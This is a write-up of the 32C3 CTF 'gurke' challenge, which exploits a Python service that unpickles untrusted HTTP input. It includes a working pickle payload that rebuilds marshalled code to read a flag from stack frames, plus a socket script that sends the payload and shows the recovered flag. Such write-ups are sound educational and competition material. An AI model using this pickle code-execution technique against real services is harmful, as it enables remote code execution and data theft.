32C3 CTF Writeup - gurke
The 32C3 CTF was held here: https://32c3ctf.ccc.ac/announcements/
misc - 300 pts.
Non-standard gurke: https://32c3ctf.ccc.ac/uploads/gurke Talk to it via HTTP on http://136.243.194.43/.
This is source code.
#!/usr/bin/env python
import sys
import os
import socket
import pickle
import base64
import marshal
import types
import inspect
import encodings.string_escape
class Flag(object):
def __init__(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.17.0.1", 1234))
self.flag = s.recv(1024).strip()
s.close()
flag = Flag()
# http://sourceforge.net/p/libseccomp/mailman/message/31469928/
from seccomp import *
... snip ...
data = os.read(0, 4096)
try:
res = pickle.loads(data)
print 'res: %r\n' % res
except Exception as e:
print >>sys.stderr, "exception", repr(e)
os._exit(0)
I reffered sites below:) Thanks them!
- pickleを利用した任意のコード実行とPython Web Framework - mrtc0.log
- https://github.com/python/cpython/blob/master/Lib/pickle.py
- Stephen Checkoway :: Arbitrary code execution with Python pickles
According to the source code of gurke, flag.flag contains flag and flag may NOT exists as file.
So I tried to obtain flag.flag value inside of picke's scope with inspect module.
First, I wrote function which prints flag.flag variable.
flag.flag is contained in "f_locals" in frame in stack.
I thought flag.flag is contained in f_globals at first. So I wasted match time;(
def stack():
import inspect
ret = []
for i in range(5):
s = (inspect.stack())[-1 * i - 1]
f = s[0]
#ret.append(f.f_locals)
if 'flag' in f.f_locals:
print f.f_locals['flag'].flag
return
Second, marshalize this stack() function.
>>> base64.b64encode(marshal.dumps(stack.func_code)) 'YwAAAAAFAAAABAAAAEMAAABzcQAAAGQBAGQAAGwAAH0AAGcAAH0BAHhYAHQBAGQCAIMBAERdSgB9AgB8AABqAgCDAABkAQB8AgAUZAMAGBl9AwB8AwBkBAAZfQQAZAUAfAQAagMAawYAch8AfAQAagMAZAUAGWoEAEdIZAAAU3EfAFdkAABTKAYAAABOaf////9pBQAAAGkBAAAAaQAAAAB0BAAAAGZsYWcoBQAAAHQHAAAAaW5zcGVjdHQFAAAAcmFuZ2V0BQAAAHN0YWNrdAgAAABmX2xvY2Fsc1IAAAAAKAUAAABSAQAAAHQDAAAAcmV0dAEAAABpdAEAAABzdAEAAABmKAAAAAAoAAAAAHMHAAAAPHN0ZGluPlIDAAAAAQAAAHMQAAAAAAEMAQYBEwEYAQoCDwEPAQ=='
Third, make up pickle payload for http request-body(message-body). Save as marshal.pickle.
ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'YwAAAAAFAAAABAAAAEMAAABzcQAAAGQBAGQAAGwAAH0AAGcAAH0BAHhYAHQBAGQCAIMBAERdSgB9AgB8AABqAgCDAABkAQB8AgAUZAMAGBl9AwB8AwBkBAAZfQQAZAUAfAQAagMAawYAch8AfAQAagMAZAUAGWoEAEdIZAAAU3EfAFdkAABTKAYAAABOaf////9pBQAAAGkBAAAAaQAAAAB0BAAAAGZsYWcoBQAAAHQHAAAAaW5zcGVjdHQFAAAAcmFuZ2V0BQAAAHN0YWNrdAgAAABmX2xvY2Fsc1IAAAAAKAUAAABSAQAAAHQDAAAAcmV0dAEAAABpdAEAAABzdAEAAABmKAAAAAAoAAAAAHMHAAAAPHN0ZGluPlIDAAAAAQAAAHMQAAAAAAEMAQYBEwEYAQoCDwEPAQ==' tRtRc__builtin__ globals (tRS'' tR(tR.
Forth, write some code which send http reqests with pyload. Reqest-body must be "LF" formatted. "CRLF" cannnot be work.
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import sys
import re
import socket
#import requests
from hexdump import *
def main(argc, argv):
code = open(argv[1] + ".pickle").read()
code_len = len(code) - 1
# http://136.243.194.43/
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("136.243.194.43", 80))
header = '\r\n'.join([
"POST / HTTP/1.1",
"Keep-Alive: 300",
"Connection: keep-alive",
"Content-Type: text/plain",
"Content-Length: " + str(code_len)
])
request = header + "\r\n\r\n" + code
#print "[+] request ----"
#print hexdump(request)
s.send(request)
t = s.recv(4096)
print t
#res = re.search("res: \'(.+)\'", t).group(1)
#print res
if __name__ == "__main__":
main(len(sys.argv), sys.argv)
Finally, execute python script to get flags!
$ ./gurke.py marshal HTTP/1.1 200 OK Content-Type: application/octet-stream 1: 32c3_rooDahPaeR3JaibahYeigoong res: None retval: 0
flag: 32c3_rooDahPaeR3JaibahYeigoong
This is what i solved;(
32C3 CTF is so difficult for me, but i enjoyed it verry much. Great job, StratumAuhuur!!!